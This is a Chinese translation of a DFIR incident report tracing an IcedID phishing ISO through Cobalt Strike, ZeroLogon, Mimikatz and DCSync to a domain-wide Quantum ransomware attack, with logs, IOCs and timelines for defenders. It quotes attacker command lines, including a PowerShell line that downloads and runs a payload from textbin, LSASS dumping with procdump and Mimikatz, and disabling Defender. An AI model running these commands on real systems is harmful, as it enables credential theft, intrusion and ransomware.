【DFIR报告翻译】恶意ISO文件导致全域勒索加密

admin 2023年4月5日00:02:47评论229 views字数 34095阅读113分39秒阅读模式
【DFIR报告翻译】恶意ISO文件导致全域勒索加密
摘要

IcedID持续投递钓鱼邮件获取失陷主机权限。这次的案例发生在2022年9月,攻击组织在后渗透阶段使用了许多常见的和新的技术与工具。最终导致了全域的加密勒索。

本案例与Malware-Traffic-Analysis.net纰漏的ADGet.exe类似。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
技术总结

    这次入侵案例起始于攻击者通过钓鱼邮件投递带有IcedID恶意软件的ISO镜像文件。已经有许多攻击组织利用投递ISO镜像文件来绕过Windows安全机制Mark-of-the-Web(互联网标记)。

    ISO镜像文件中包含一个LNK快捷方式指向一个包含IcedID恶意载荷的BAT批处理文件。默认配置下,受害用户打开ISO镜像文件后,只会看到一个名为document的快捷方式,双击之后会执行BAT批处理文件。将IcedID恶载荷复制到AppDataLocalTemp目录下并运行,同时创建一个计划任务用于权限维持。

    IcedID执行后,会调用net, nltest, 和 ipconfig等windows系统自带命令进行信息收集。16小时后,IcedID加载了第一个Cobalt Stirke DLL文件rapuab1.dll,并开始使用AdFind再次收集Windows域信息。

    攻击者使用hp.msi安装程序部署Atera和Splashtop两种远程控制工具。在尝试使用getsystem命令提升权限时,被杀软拦截。之后攻击者尝试利用ZeroLogon(CVE-2020-1472)漏洞。随后攻击者通过批处理脚本进行了一些DNS域名探测。之后,攻击者通过Cobalt Strike在一台服务器上新建系统服务并加载CS的DLL进行横向移动。并在服务器上再次运行了远程控制工具的安装包。

    大约两个小时后,攻击者运行了名为Nigu.exe的Cobalt Strike后门程序,并获得了跳板机的SYSTEM权限。攻击者开始转储LSASS进程内存。并且又运行了系统工具、批处理文件和Adget。使用DLL和PowerShell加载了更多的CS载荷。

    此时,攻击者掌握了域管理员的明文密码开始在域内进行横向移动。攻击者通过WMIC远程执行命令,分发Cobalt Strike恶意载荷来上线更多失陷主机。但这个行为在域控服务器上执行失败了。一小时后,攻击者使用RDP登录到了域控服务器。并在域控服务器上加载来自textbin[.]net网站上的Cobalt Strike恶意PowerShell代码(pon.txt)。

    但是PowerShell在本地执行依然失败了,攻击者开始下载一些Cobalt Strike的二进制可执行文件尝试上线,同样被拦截了。又过了一个小时,攻击者执行了PowerShell命令关闭了Windows Defender防病毒服务,并查看了组策略配置。最终域服务器成功上线。攻击者开始使用Invoke-ShareFinder等其他工具进行内网资源探测。

    几个小时后,攻击者在跳板机上安装了RSAT 工具,但他们自己似乎也不是很熟悉这个工具的使用,因为在使用Get-ADComputer进行信息收集之前,他们先查看了帮助菜单。随后攻击者在域控服务器上使用ProcDump转储LSASS进程内存。随后攻击者使用Get-EventLog命令收集域管理员的登录信息。

    攻击者休息了7个小时,再次开始活动。他们在域控服务器上运行更多的Cobalt Strike载荷,并使用几种不同的MImikatz工具,包括Mimikatz二进制可执行文件和PowerShell实现的Mimikatz。我们观察到攻击者持续进行内网探测并使用WMIC命令远程加载Cobalt Strike载荷上线更多失陷主机。在Windows 日志中,我们发现攻击者在另一台域控服务器上执行DCSync获取域用户HASH。攻击者通过WMIC命令远程执行了一个名为localdisk.bat的批处理文件,用于收集环境中的磁盘信息。

    攻击持续到第四天时,攻击者横向移动到一些服务器(包括一台备份服务器)上并安装AnyDesk工具。接着,攻击者通过执行PowerShell在一些服务器上通过弹窗警告用户这台主机已经被植入Cobalt Strike。

    然后,他们使用Rclone将备份文件上传至Mega.io云存储服务。并在备份服务器上投递名为locker_64.exe的勒索软件二进制可执行文件。两小时后,攻击者使用命令行在一些目的主机上运行勒索软件,看上去这个行为被拦截了,之后攻击者开始手动在一些主机上运行勒索软件。最终他们在域控服务器上投递了三个脚本文件,一个用于在域内主机中传播勒索软件,一个用于重置所用用户的密码,一个调用PsExec在所有主机上运行勒索软件。

勒索软件执行后,释放出勒索信README_TO_DECRYPT.html,通过勒索信我们确定勒索软件属于Quantum家族。整个攻击活动约78小时,所有域内的主机均被勒索软件加密。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
时间线
01
边界突破

这次入侵开始于一个包含恶意LNK快捷方式的ISO文件。ISO文件来自于钓鱼邮件中的ZIP附件。

恶意ISO文件

首先,用户双击打开ISO文件时,会通过虚拟光驱将ISO文件进行挂载,这一行为会被Microsoft-Windows-VHDMP/Operational事件ID 12所记录。

ISO文件包含一个名为documents的LNK快捷方式和一个名为max的隐藏目录,目录中包含一个IcedID DLL文件和一个批处理文件。

我们可以使用Eric Zimmerman开发的工具LECmd获取快捷方式文件的详细属性。可以看到快捷方式指向maxeyewear.bat。

当受害者双击LNK文件后,就会执行批处理文件eyewear.bat。

批处理文件中执行两条命令,首先将DLL文件重命名为eyewear.dat,并将该文件复制到用户的AppDataLocalTemp目录下。

C:Windowssystem32cmd.exe /c D:maxeyewear.bat  ➝ xcopy  /s /i /e /h maxeasygoing.dat C:Users[REDACTED]AppDataLocalTemp*

之后,使用rundll32.exe执行DLL文件

C:Windowssystem32cmd.exe /c D:maxeyewear.bat  ➝ rundll32 C:Users[REDACTED]AppDataLocalTempeasygoing.dat,#1

想要禁用ISO自动挂载功能可以参考Huntress的文章:https://www.huntress.com/blog/addressing-initial-access

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
02
执行

在入侵开始的第二天,攻击者通过IcedID恶意软件加载了Cobalt Strike载荷并用regsvr32.exe执行了它。

在横向移动期间,攻击者通过RDP会话使用PowerShell和二进制可执行文件执行Cobalt Strike载荷。

在Windows Error Reporting日志中我们可以发现攻击者在多个失陷主机中尝试执行CS载荷都失败了。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在Windows Application 日志中事件ID 1000 和事件ID 1001也记录了程序运行失败的信息。

The NSA Cyber Windows Event Monitoring Guidance, has the following statement:

在NSA的Windows 日志安全监控指南中有提到:

应用程序崩溃日志可以用于调查一个进程是恶意软件还是普通程序。

https://github.com/nsacyber/Event-Forwarding-Guidance/blob/master/Events/README.md

在本案例中,攻击者尝试添加文件扩展名和添加其他字符来绕过杀毒软件的拦截。

从Windows Defender防护日志中我们发现这些执行操作都被识别并拦截了。

  • HackTool:Win32/NamedPipeImpers.A

  • TrojanDropper:PowerShell/Cobacis.B

  • VirTool:MSIL/Menace.C!MTB

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在取证过程中,我们确认攻击者使用了Cobalt Strike的攻击脚本AnnoyKit通过COM组件启动IE浏览器。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Base64编码部分解码后如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在PowerShell日志中也可以看到解码后的PowerShell代码:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在Github中可以获取到PowerShell的代码,我们现在仍无法确认攻击者执行这个命令的意图。

https://github.com/Und3rf10w/Aggressor-scripts/blob/master/kits/AnnoyKit/scripts/Open-HiddenInternetExplorer.ps1

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
03
权限维持

IcedID创建了一个名为Utucka.dll的DLL文件:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

并同时创建了一个计划任务用于执行这个DLL

<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">  <RegistrationInfo>    <URI>{3A79715D-4FFB-50BE-8F3A-090CE7FB4097}</URI>  </RegistrationInfo>  <Triggers>    <TimeTrigger id="TimeTrigger">      <Repetition>        <Interval>PT1H</Interval>        <StopAtDurationEnd>false</StopAtDurationEnd>      </Repetition>      <StartBoundary>2012-01-01T12:00:00</StartBoundary>      <Enabled>true</Enabled>    </TimeTrigger>    <LogonTrigger id="LogonTrigger">      <Enabled>true</Enabled>      <UserId>[REDACTED]</UserId>    </LogonTrigger>  </Triggers>  <Principals>    <Principal id="Author">      <RunLevel>HighestAvailable</RunLevel>      <UserId>[REDACTED]</UserId>      <LogonType>InteractiveToken</LogonType>    </Principal>  </Principals>  <Settings>    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>    <AllowHardTerminate>false</AllowHardTerminate>    <StartWhenAvailable>true</StartWhenAvailable>    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>    <IdleSettings>      <Duration>PT10M</Duration>      <WaitTimeout>PT1H</WaitTimeout>      <StopOnIdleEnd>true</StopOnIdleEnd>      <RestartOnIdle>false</RestartOnIdle>    </IdleSettings>    <AllowStartOnDemand>true</AllowStartOnDemand>    <Enabled>true</Enabled>    <Hidden>false</Hidden>    <RunOnlyIfIdle>false</RunOnlyIfIdle>    <WakeToRun>false</WakeToRun>    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>    <Priority>7</Priority>  </Settings>  <Actions Context="Author">    <Exec>      <Command>rundll32.exe</Command>      <Arguments>"C:Users[REDACTED]AppDataLocal[REDACTED][REDACTED]Utucka.dll",#1 --oxoj="CategoryBeyondlicense.dat"</Arguments>    </Exec>  </Actions></Task>

这个计划任务从第一天的晚上8点开始执行,每小时执行一次:

C:Windowssystem32svchost.exe -k netsvcs -p -s Schedule  ➝ rundll32.exe "C:Users[REDACTED]AppDataLocal[REDACTED][REDACTED]Utucka.dll",#1 --oxoj="CategoryBeyondlicense.dat"
【DFIR报告翻译】恶意ISO文件导致全域勒索加密
04
权限提升

命名管道伪造

攻击者多次在不同主机上尝试利用命名管道伪造技术获取系统权限。这是攻击者常用的提权手段,由Cobalt Strike的GetSystem命令发起。可以看到攻击者创建了一个系统服务并尝试连接到命令管道。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

cmd.exe /c echo nbproc > \.pipenbproccmd.exe /c echo xgxfpw > \.pipexgxfpwcmd.exe /c echo ylfdup > \.pipeylfdup

从Sysmon 事件ID 17中我们观察到攻击者通过Cobalt Strike会话创建命名管道并以NT AUTHORITYSYSTEM账号连接到命令管道。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在MITRE的网络安全分析库中有更多GetSystem的详细分析。

Winlogon 令牌伪造/窃取

我们观察到攻击者多次尝试访问WinLogon进程,例如以下Sysmon 事件ID 10(进程访问)日志。在Jonathan JOHNSON的文章中可以知道,通过打开一个句柄访问WinLogon来获取令牌并调用ImpersonateLoggedOnUser是一种已知的Cobalt Strike提权攻击行为特征。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

ZeroLogon

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在入侵第二天,我们发现从跳板机到域控服务器的流量激增,并且在网络流量检测设备上出现ZeroLogon (CVE-202-1472)漏洞利用的告警。

ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472)ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)

在一台域控服务器中我们通过日志发现漏洞利用成功,服务器密码被修改的痕迹。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
05
防御规避

互联网下载标记绕过

攻击者通过投递ZIP附件(包含ISO文件中恶意载荷)绕过了Windows的互联网下载标记(Mark-of-the-Web restrictions.)防护机制。

禁用Windows Defender

在一台失陷主机中,攻击者通过下面的PowerShell命令关闭了Windows Defender。之后攻击者运行Cobalt Strike上线成功。

powershell.exe Uninstall-WindowsFeature -Name Windows-Defender-GUI

这条命令从互联网站点中下载并被保存成名为pon!.txt的文件,在本地执行。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

进程注入

我们观察到多条Sysmon 事件ID 8 的远程线程创建日志。这是已知的Cobalt Strike进程注入行为特征。它调用shinject函数并尝试在指定进程中注入CS载荷。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在Sysmon事件ID 22的日志中,我们发现进程注入后,winlogon.exe进程开始解析Cobalt Strike C2服务器的DNS域名guteyutu[.]com。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

从内存取证中,我们也可以发现rundll32进程文件头为MZ,说明rundll32进程的访问权限被修改为PAGE_EXECUTE_READWRITE。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

通过Yara内存扫描,我们发现以下进程被注入Cobalt Strike载荷:

主机

进程ID

进程名称

命令行

Yara 规则

SERVERA

568

winlogon.exe

winlogon.exe

win_cobalt_strike_auto

SERVERA

4284

RuntimeBroker.exe

C:WindowsSystem32RuntimeBroker.exe -Embedding

win_cobalt_strike_auto

SERVERB

9936

rundll32.exe

C:Windowssyswow64rundll32.exe

win_cobalt_strike_auto

BEACHHEAD

996

svchost.exe

C:Windowssystem32svchost.exe -k DcomLaunch -p -s LSM

win_cobalt_strike_auto

BEACHHEAD

1888

svchost.exe

C:WindowsSystem32svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder

win_cobalt_strike_auto

BEACHHEAD

2220

winlogon.exe

winlogon.exe

win_cobalt_strike_auto

BEACHHEAD

7032

rundll32.exe

C:Windowssyswow64rundll32.exe

win_cobalt_strike_auto

SERVERC

3328

rundll32.exe

C:Windowssyswow64rundll32.exe

win_cobalt_strike_auto

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
06
窃取凭证

攻击者使用多种工具和脚本收集失陷主机中的登录凭证,例如以下的Mimikatz二进制程序和PowerShell脚本

"C:ProgramDatamimikatz.exe""C:ProgramDatamimikatz.exe.exe""C:ProgramDatamimikatz_cryptovanniy.exe""C:ProgramDatanotepad.exe" "C:ProgramDatakatz.ps1"

攻击者通过执行以下命令收集凭证并将输出结果保存在C:ProgramData目录下。

C:Windowssystem32cmd.exe /C mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:programdatamimikatzcreds.txtC:Windowssystem32cmd.exe /C mimikatz.exe privilege::debug sekurlsa::logonPasswords full samdump::hashes exit > "c:programdatacreds.txt"C:Windowssystem32cmd.exe powershell -ep bypass -C "import-module .katz.ps1;Invoke-Katz" > mimi.txt

DCSync

在Windows 事件ID 4662中我们观察到攻击者通过两个高权限域用户利用DCSync获取了所有域账户的凭证。这项攻击特征包括发起DCSync的账户是非计算机账户,访问掩码为0x100,和对象ID。

1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 - DS-Replication-Get-Changes-All1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 - DS-Replication-Get-Changes

DCSync攻击触发了12个事件日志记录,每个对象ID都产生了相应的日志。这说明攻击者极有可能是通过Cobalt Strike的DCSync命令进行的攻击。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

了解更多DCSync攻击的详细信息可以参考SpecterOps的文章

https://posts.specterops.io/entity-based-detection-engineering-with-bloodhound-enterprise-b4dce3963d66

LSASS内存转储

在多台失陷主机中发现被注入的进程存在转储LSASS进程的行为。

攻击者通过CreateRemoteThread尝试访问LSASS进程内存。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

攻击者使用Procdump工具转储LSASS进程内存:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

这个攻击行为由被进程注入的rundll32.exe进程发起,该进程与C2服务器111.90.143[.]191通信。

C:WindowsSysWOW64rundll32.exe  ➝ c:windowstempprocdump64.exe -accepteula -ma lsass.exe fwtsqmfile00.dmp
【DFIR报告翻译】恶意ISO文件导致全域勒索加密
07
内网探测

典型的勒索软件内网探测阶段

使用各种操作系统内置命令使用许多典型的内网探测技术来收集与用户、主机和网络配置相关的信息。包括域信任探测、工作站配置探测以及使用 net 命令收集标准帐户和组。

从IcedID恶意软件进程执行历史,观察到如下常用内网探测命令:

https://lolbas-project.github.io/

rundll32 C:Users[REDACTED]AppDataLocalTempeasygoing.dat,#1  ➝ nltest /domain_trusts /all_trusts  ➝ nltest /domain_trusts  ➝ net view /all /domain  ➝ net view /all  ➝ net group "Domain Admins" /domain  ➝ cmd.exe /c chcp >&2     ➝ ipconfig /all     ➝ net config workstation    ➝ systeminfo

从CS进程Nigu.exe发起的命令记录如下:

"C:Users[REDACTED]AppDataLocalTempNigu.exe"   ➝ C:Windowssystem32cmd.exe /C net group "domain admins" /domain    ➝ C:Windowssystem32cmd.exe /C net group "enterprise admins" /domain    ➝ C:Windowssystem32cmd.exe /C net time    ➝ C:Windowssystem32cmd.exe /C net user [REDACTED] /domain
systeminfonetstat -anop tcpcmd.exe /C echo %%temp%%cmd.exe /C hostnamecmd.exe /C nslookup hostname

安装RSAT并收集域内信息

第一轮内网探测结束后,攻击者在跳板机安装微软服务器远程管理工具RSAT进行域信息收集。

rundll32.exe  ➝ C:Windowssystem32cmd.exe /C powershell.exe Add-WindowsCapability –online –Name “Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0”    ➝ C:Windowssystem32cmd.exe /C powershell.exe Import-Module ActiveDirectory

有趣的是攻击者在执行探测前,先通过Get-Help查看了Get-ADComputer和Export-CSV的帮助信息。

rundll32.exe    ➝ C:Windowssystem32cmd.exe /C powershell.exe Get-Help Export-CSV  ➝ C:Windowssystem32cmd.exe /C powershell.exe Get-Help Get-ADComputer

之后攻击者枚举了域内计算机信息并导出为CSV文件ADComputers.csv。

  ➝ C:Windowssystem32cmd.exe /C powershell.exe Get-ADComputer -Filter * -Properties * | Export-CSV "C:ProgramDataADComputers.csv" -NoTypeInformation  ➝ C:Windowssystem32cmd.exe /C powershell.exe Get-ADComputer -Filter * -Properties * | Export-CSV -Path "C:ProgramDataADComputers.csv" -NoTypeInformation  ➝ C:Windowssystem32cmd.exe /C powershell.exe Get-ADComputer -Filter * -Properties * | Export-csv C:ProgramDataADComputers.csv -NoTypeInformation  ➝ C:Windowssystem32cmd.exe /C powershell.exe Get-ADComputer -Identity [REDACTED] -Properties *  ➝ C:Windowssystem32cmd.exe /C powershell.exe get-ADcomputer -Filter * | Where-Object {$a=$_.name; $_.DistinguishedName -ne "CN=$a,OU=[REDACTED],DC=[REDACTED],DC=[REDACTED]"} | Sort-Object name | Select-Object name | Export-csv C:ProgramDataADComputers.csv -NoTypeInformation

此外,攻击者还搜索了与AD域相关的DLL

C:Windowssystem32cmd.exe /C dir /s *file/ Microsoft.ActiveDirectory.Management.dllC:Windowssystem32cmd.exe /C where /r C:WindowsWinSxS *Microsoft.ActiveDirectory.Management.dll*

手动操作的攻击

我们发现了一些攻击者手动执行攻击的证据,例如拼写错误或输入有误的命令nslookup,并且应该以计算机名为参数而不是用户名:

C:Windowssystem32cmd.exe /C nslook up [REDACTED]C:Windowssystem32cmd.exe /C nslookup USERFirstName UserLastName

例如拼写错误的administrators:

net group administartors /domain

输入错误的ttime单词:

C:Windowssystem32cmd.exe /C net ttime

另一个错误是攻击者在Cobalt Strike中输入“shell dcsync”,这导致本来应该由Cobalt Strike执行的命令却在失陷主机的操作系统中执行:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在使用RSAT工具期间,攻击者查看了Help帮助信息:

powershell.exe Get-Help Export-CSVpowershell.exe Get-Help Get-ADComputer

在入侵第二天我们发现攻击者从域控服务器访问两个文件共享网站:dropmefiles[.]com 和 file[.]io。在入侵第三天另一台域控服务器也访问了dropmefiles[.]com。

通过分析域控服务器的WebCacheV01.dat,还发现了访问其他域名的行为:

https://github.com/logpresso/community/blob/main/contents/006_How_to_analyze_Internet_Explorer_Logs.md

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

攻击者从他们的基础设施服务器199.127.60[.]117中下载了CS后门程序lsass.exe。此外攻击者还用域控服务器上的IE浏览器访问了bing搜索引擎。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

攻击者直接使用受害主机上的浏览器来搜索资料十分少见,可以看到攻击者在查询如何隐藏ProgramData文件夹。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

使用Invoke-ShareFinder查找域共享资源

在PowerShell日志事件ID 800中,我们发现攻击者使用Invoke-ShareFinder查找网络中的共享资源:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Windows 安全日志信息收集

攻击者在提权成功后,做了一个不常见的操作,那就是读取Windows安全日志,并且查找指定账号的登录源地址:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

C:Windowssystem32cmd.exe /C powershell -c "get-eventlog 'Security' | where {$_.Message -like '*<REDACTED>*' -AND 'Source Network Address'} | export-csv c:windowstempevents_<REDACTED>.txt"

攻击者可能以此了解管理员登录服务器的习惯,以此来避免攻击被发现。

Windows环境下的Base64

攻击者还使用了Base64编码的PowerShwll脚本进行内网探测:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Base64解码后如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

-e 参数表示--EncodedCommand,字符串以JAB开头,这是以$开头的utf-16的常见格式,了解更多Base64编码可以查看Forian Roth 的文章

https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639

EncodedCommand支持多种编码,PaloAlto的Unit42有一篇文章详细讲解了PowerShell的常见编码命令

https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/

我们使用CyberChef再次对PowerShell代码进行解码如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

许多自定义脚本工具

攻击者在一台终端上放置了多个批处理脚本:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

ns.bat用于调用nslookup收集信息:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

ADGet: 一个不常见的工具

攻击者在用户temp目录下投递了一个名为ADGet的AD域信息收集工具。这个工具在命令行中运行,并将枚举的AD对象保存在指定的输出文件中。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

ADGet是一个不常见工具,但它和ADfind的关键功能类似。主要区别是ADGet不使用参数指定LDAP查询语句,而是直接硬编码在程序中。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

输出的AD对象保存在ZIP文件中,每个对象类型都使用TSV格式存储。可以使用任何支持TSV或CSV格式的工具查看。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

ADfind:

尽管攻击者使用了adget,但他们依然也使用了Adfind进行信息收集,攻击者在find.bat批处理文件中调用find.exe执行信息收集命令。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

另一个ProgramData目录中名为AD.bat的批处理文件也用于枚举AD对象。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

AD.bat批处理文件内容如下:

for /f "delims=" %%A in ('dir /s /b %WINDIR%system32*htable.xsl') do set "var=%%A"adfind.exe -f (objectcategory=person) > ad_users.txtadfind.exe -f objectcategory=computer > ad_computers.txtadfind.exe -f objectcategory=computer -csv name operatingSystem > ad_computers_enum.txtadfind.exe -f (objectcategory=organizationalUnit) > ad_ous.txtadfind.exe -subnets -f (objectCategory=subnet) > ad_subnets.txtadfind.exe -f "(objectcategory=group)" > ad_group.txtadfind.exe -gcb -sc trustdmp > ad_trustdmp.txt

有趣的是,批处理文件中的第一行通过dir搜索文件,并赋值给变量%%A,在一些开源脚本中我们发现这之后会调用WMIC命令执行信息收集工作,但在本案例中,脚本中没有用wmic命令。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

https://fareedfauzi.gitbook.io/oscp-playbook/windows-post-exploitation/automated-enumeration-script

WMIC

名为 dS.bat 的批处理文件调用了 WMIC,该文件查询多个目标主机以确定主机磁盘驱动器配置。这可以快速查找本地挂载的网络共享信息。

wmic /node:<REDACTED> /user:"<REDACTED>" /password:"<REDACTED>" logicaldisk get caption,description,drivetype,providername,volumename

dS.bat 文件由被注入的 Rundll32.exe 进程执行。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在此期间,攻击者手动在Windows管理控制台中查看了域组策略配置。以获取域内主机是否配置一些限制来提高攻击门槛。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
08
横向移动

WMI

攻击者使用wmic.exe在其他主机执行PowerShell代码以从textbin[.]net下载Cobalt Strike载荷并执行.

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

我们观察到在远程主机上WmiPrvSe.exe执行了PowerShell载荷。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

RDP协议

攻击者通过C:ProgramDatalsass.exe的CobaltStrike会话搭建了代理隧道并通过RDP会话连接到其他计算机上。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

通过CS代理RDP会话能避免攻击组织暴露更多的基础设施,横向移动使用RDP协议也会与网络中的正常流量混在一起,增加了分析和检测的难度。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

代理RDP流量的进程如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

攻击者做了一些不太常见的操作,例如在RDP会话时,使用IE浏览器下载CS载荷,保存在本地pon.txt中。

译者注:这可能是由于RDP会话无法进行复制粘贴的情况

"C:Windowssystem32NOTEPAD.EXE" C:Usersinstaller.baywaterschoolDownloadspon.txt

pon.txt的内容:

powershell iex((new-object net.webclient).downloadstring('https://textbin.net/raw/ls1jhefawt'))

创建远程服务

攻击者也通过在programdata目录下的dll文件创建远程服务来上线CS进行横向移动。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

AnyDesk

在攻击者从一台终端横向移动到备份服务器时,用到了AnyDesk会话。这在Sysmon 事件ID 3中被记录到:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密


【DFIR报告翻译】恶意ISO文件导致全域勒索加密
09
内网信息收集

为了收集更多主机的目录信息,攻击者通过dir查看远程主机目录并将结果重定向到listing.txt文件中。

C:WindowsSystem32cmd.exe /C dir \[REDACTED HOST]c$users >> listing.txt

此外,还创建了多个文本文件用于存储各种探测命令和脚本的输出结果。

C:ProgramDataqwe3.txtC:Users[REDACTED USER]Downloadssns.txtC:WindowsTempevents_Administrator.textC:WindowsTempevents_[REDACTED USER].textC:WindowsTemplisting.txtC:WindowsTempns.txtC:WindowsTempnsserv.txt

【DFIR报告翻译】恶意ISO文件导致全域勒索加密
10
远程控制

IcedID

恶意软件配置:

Configuration details: {“Campaign ID”: 2220668032 ,“C2 url”: “alockajilly.com”}

IcedID恶意软件会连接到64.227.12[.]180:80进行C2通信,这与域名的解析结果相对应。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在明文通信的第一次回连后,远程控制开始将流量转移到TLS的443端口。在入侵期间与各种 IP 建立了连接,但其中两个占流量的大部分。

destination.ip

destination.port

tls.client.ja3

tls.server.ja3s

zeek.ssl.server.name

Count

5.196.103.145

443

a0e9f5d64349fb13191bc781f81f42e1

ec74a5c51106f0419184d0dd08fb05bc

choifejuce[.]lol

373

5.196.103.145

443

a0e9f5d64349fb13191bc781f81f42e1

ec74a5c51106f0419184d0dd08fb05bc

erinindiaka[.]quest

1

46.101.19.119

443

a0e9f5d64349fb13191bc781f81f42e1

ec74a5c51106f0419184d0dd08fb05bc

opiransiuera[.]com

278

178.128.85.30

443

a0e9f5d64349fb13191bc781f81f42e1

ec74a5c51106f0419184d0dd08fb05bc

zoomersoidfor[.]com

4

5.252.177.10

443

a0e9f5d64349fb13191bc781f81f42e1

ec74a5c51106f0419184d0dd08fb05bc

considerf[.]info

1

66.63.188.70

443

a0e9f5d64349fb13191bc781f81f42e1

ec74a5c51106f0419184d0dd08fb05bc

antiflamez[.]bar

1

155.138.159.45

443

a0e9f5d64349fb13191bc781f81f42e1

ec74a5c51106f0419184d0dd08fb05bc

www[.]onlinecloud[.]cloud

1

IcedID C2 在入侵期间的通信如下:

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Cobalt Strike

攻击者在入侵过程中上线了多个CS会话,创建了 70 多个管道。CS通信均使用默认配置,并试图将投递的文件伪装成合法的 Microsoft Windows 可执行文件。例如,在一台主机上,我们可以观察到以 postex_xxxx 或 MSSE-xxxx-server 的样式创建了 20 多个管道。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

当CS上线时,与 C2 服务器的出站网络连接显着增加。例如,注入单个 Rundll32.exe 进程的CS连接在三个小时的窗口内生成了超过 10K 的数据传输,并且在两天内始终如一。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

攻击者在入侵过程中使用了可执行文件、DLL和PowerShell三种载荷。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

在整个入侵过程中,观察到四个不同的C2服务器在使用中。一些持续到入侵结束,而另一些只持续了几天。

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

Cobalt Strike SSL 特征:

destination.ip

destination.port

tls.client.ja3

tls.client.ja3s

zeek.ssl.server.name

172.93.181.165

443

a0e9f5d64349fb13191bc781f81f42e1

ae4edc6faf64d08308082ad26be60767

fazehotafa[.]com

45.66.151.109

443

a0e9f5d64349fb13191bc781f81f42e1

ae4edc6faf64d08308082ad26be60767

guteyutur[.]com

111.90.143.191

443

72a589da586844d7f0818ce684948eea

ae4edc6faf64d08308082ad26be60767

78.128.112.139

443

72a589da586844d7f0818ce684948eea

f176ba63b4d68e576b5ba345bec2c7b7

使用CAPA分析二进制文件Nigu.exe,发现存在压缩壳和加载PE的特征:

https://github.com/mandiant/capa

【DFIR报告翻译】恶意ISO文件导致全域勒索加密

提取出的CS配置如下:

